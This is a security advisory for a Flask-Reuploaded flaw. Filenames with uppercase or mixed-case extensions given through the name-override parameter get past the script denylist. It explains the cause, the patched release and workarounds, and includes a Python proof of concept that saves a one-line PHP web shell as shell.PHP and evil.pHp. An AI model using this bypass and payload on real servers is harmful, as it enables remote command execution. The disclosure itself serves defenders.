CVE-2026-54567: Flask-Reuploaded Extension Denylist Bypass via Case-Folding Asymmetry
Flask-Reuploaded's fix for a previous file-upload vulnerability left a gap: passing a mixed-case filename like shell.PHP through the name override parameter slips past the script denylist, potentially
The problem
UploadSet.save() accepts an optional name argument that lets callers override the stored filename. The v1.5.0 fix for CVE-2026-27641 added extension re-validation on that code path, but routed it through the case-preserving extension() helper instead of the case-normalizing lowercase_ext() used everywhere else.
The denylist stores tokens in lowercase (e.g. 'php', 'sh', 'py'). When a caller passes name="shell.PHP", the extracted extension is "PHP", which is not in the lowercase token list, so the check returns allowed. On Windows, macOS, or Apache deployments using AddHandler/AddType, that file executes as PHP.
Path containment holds; only extension policy is defeated.
Proof of concept
A working proof-of-concept for CVE-2026-54567 in Flask-Reuploaded, with the exact payload below.
import io
import os
import tempfile
from flask import Flask
from flask_uploads import UploadSet, AllExcept, SCRIPTS, configure_uploads
from werkzeug.datastructures import FileStorage
app = Flask(__name__)
dest = tempfile.mkdtemp()
files = UploadSet("files", AllExcept(SCRIPTS)) # documented denylist config
app.config["UPLOADED_FILES_DEST"] = dest
configure_uploads(app, (files,))
malicious = FileStorage(
stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
filename="upload.bin",
content_type="application/octet-stream",
)
with app.app_context():
# Default path: shell.PHP is correctly blocked
# Name-override path: shell.PHP bypasses the denylist
saved = files.save(malicious, name="shell.PHP") # BYPASS -> saves shell.PHP
print("BYPASS:", saved, "exists:", os.path.exists(os.path.join(dest, saved)))
# Mixed-case variant also works
malicious.stream.seek(0)
saved2 = files.save(malicious, name="evil.pHp") # also bypasses
print("BYPASS:", saved2, "exists:", os.path.exists(os.path.join(dest, saved2)))The root cause is a normalisation split (CWE-178). The default upload path calls lowercase_ext(secure_filename(filename)), so the extension is always lowercase before the policy check. The name-override path added in v1.5.0 calls secure_filename(name) for traversal safety, then reads the extension with extension(basename), which preserves case.
AllExcept.__contains__ does a plain membership test against lowercase tokens, so "PHP" not in ('js','php','pl','py','rb','sh') returns True, granting upload.
The patch at commit 5ded760 corrects this by lowercasing the extracted extension before the policy check (equivalent to ext = extension(basename).lower()), making the name-override path match the normalisation the rest of the library relies on.
The fix
Upgrade to Flask-Reuploaded 1.6.0 (commit 5ded76092429c6eb8a4af941b14fbde40a38fff4). That release lowercases the extension extracted from the name-override path before the denylist check, closing the case-folding gap. If you cannot upgrade immediately, avoid passing user-controlled input to the name parameter, or switch to an allowlist UploadSet (IMAGES, DOCUMENTS, etc.) which fails closed on any unrecognised extension regardless of case.
Reported by Jaron Cabral (Cal Poly Humboldt).
Related research
- critical · 9.8motionEye LFI to Unauthenticated RCE Chain (CVSS 9.8)
- high · 8.3CVE-2026-54549CVE-2026-54549: meta-ads-mcp Server-Side Request Forgery in upload_ad_image
- high · 7.4CVE-2026-54547CVE-2026-54547: meta-ads-mcp Authentication Bypass via X-Pipeboard-Token Header
- high · 7.9CVE-2026-54552CVE-2026-54552: sh Incomplete Privilege Drop via _uid (Supplementary Groups Not Cleared)